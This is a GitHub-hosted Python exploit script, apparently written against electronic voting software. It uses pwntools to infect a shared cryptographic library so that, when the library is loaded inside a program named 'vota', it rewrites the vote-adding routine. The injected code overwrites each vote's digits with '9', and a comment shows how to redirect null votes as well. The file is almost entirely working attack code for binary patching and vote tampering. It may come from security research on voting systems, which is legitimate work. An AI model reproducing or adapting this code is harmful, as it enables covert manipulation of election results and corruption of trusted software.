-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathexploit.py
executable file
·158 lines (127 loc) · 4.18 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/python2
# -*- encoding: utf-8 -*-
import re
from pwn import *
context(arch='i386')
def load_addr(addr, data):
code = 'mov edi, 0x%x\n' % addr
while data != '':
if len(data) >= 4:
code += 'mov eax, 0x%x\nstosd\n' % u32(data[:4])
data = data[4:]
elif len(data) >= 2:
code += 'mov ax, 0x%x\nstosw\n' % u16(data[:2])
data = data[2:]
elif len(data) == 1:
code += 'mov al, 0x%x\nstosb\n' % u8(data[:1])
data = data[1:]
else:
raise ValueError('should never be reached')
return code
hkdf = ELF('../libhkdf.so.orig')
vota = ELF('vota')
thunk = hkdf.symbols['__x86.get_pc_thunk.ax']
hdkf_begin = hkdf.symbols['_Z4hkdfPKhPh']
# Look for the address of the instruction just after
# "call __x86.get_pc_thunk.ax" inside
# the _Z4hkdfPKhPh function
hkdf_address = int('0x' +
re.search(r'call\s+0x%x\n\s*([^:]+)' % thunk,
disasm(hkdf.read(hdkf_begin, 32),
vma=hdkf_begin,
byte=False)
).group(1)
, 16)
unused_code_address = hkdf.symbols['_Z4lixov']
unused_code_diff = unused_code_address - hkdf_address
infect_hkdf_asm = (
"""
add eax, 0x%x
call eax
""" % unused_code_diff)
infect_hkdf = asm(infect_hkdf_asm)
hkdf_original_asm = disasm(hkdf.read(hkdf_address, len(infect_hkdf)),
byte=False,
offset=False)
hkdf_original = asm(hkdf_original_asm)
assert len(infect_hkdf) == len(hkdf_original), \
"The size of the infected code must be the same as the size of the original one which is being replaced"
log.info("Infecting hkdf")
log.info("%s ==> %s" % (hkdf_original_asm, infect_hkdf_asm))
hkdf.write(hkdf_address, infect_hkdf)
vota_addr = vota.symbols['_ZN11InfoEleitor12AdicionaVotoEhiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE']
vota_alloc = (vota.memory.end() + 4096) & (~4095)
infect_adiciona_voto_asm = (
"""
mov edx, 0x%x
jmp edx
""" % vota_alloc)
while True:
infect_adiciona_voto = asm(infect_adiciona_voto_asm)
adiciona_voto_original_asm = disasm(vota.read(vota_addr, len(infect_adiciona_voto)),
byte=False,
offset=False)
if '.byte' in adiciona_voto_original_asm:
# an instruction from the original code has been cut out
infect_adiciona_voto_asm += "nop\n"
else:
break
adiciona_voto_original = asm(adiciona_voto_original_asm)
assert len(infect_adiciona_voto) == len(adiciona_voto_original), \
"Infected code size must be the same as the replaced original one"
log.info("Infecting vota")
log.info("%s ==> %s" % (adiciona_voto_original_asm, infect_adiciona_voto_asm))
modify_votes_asm = (
"""
push ebp
mov ebp, esp
pushad
// uncomment to redirect null votes
// mov dword ptr [ebp+0x10], 0
// put std::string& into eax
mov eax, [ebp+0x14]
// put char* into edi
mov edi, [eax]
// replace 2 chars
mov al, '9'
stosb
stosb
popad
pop ebp
"""
+ adiciona_voto_original_asm +
"""
mov edx, 0x%x
jmp edx
""" % (vota_addr + len(infect_adiciona_voto)))
log.info("Planting code to modify votes at 0x%x" % vota_alloc)
log.info(modify_votes_asm)
modify_votes = asm(modify_votes_asm)
expected_contents = u32(vota.read(vota_addr, 4))
overwrite_unused_code_asm = (
"""
pushad
// verify whether the lib is loaded inside VOTA
mov eax, 0x%x
mov eax, [eax]
cmp eax, 0x%x
jne its_not_vota
""" % (vota_addr, expected_contents) +
shellcraft.mprotect(vota_addr & (~4095), 2*4096, 7) +
shellcraft.mmap(vota_alloc, 4096, 7, 0x22, 0, 0) +
load_addr(vota_alloc, modify_votes) +
load_addr(vota_addr, infect_adiciona_voto) +
"""
its_not_vota:
popad
sub eax, 0x%x
""" % unused_code_diff +
hkdf_original_asm +
"""
ret
""")
overwrite_unused_code = asm(overwrite_unused_code_asm)
log.info("Overwriting unused code with code to plant the vote modification routine")
log.info(overwrite_unused_code_asm)
hkdf.write(unused_code_address, overwrite_unused_code)
hkdf.save('../libhkdf.so')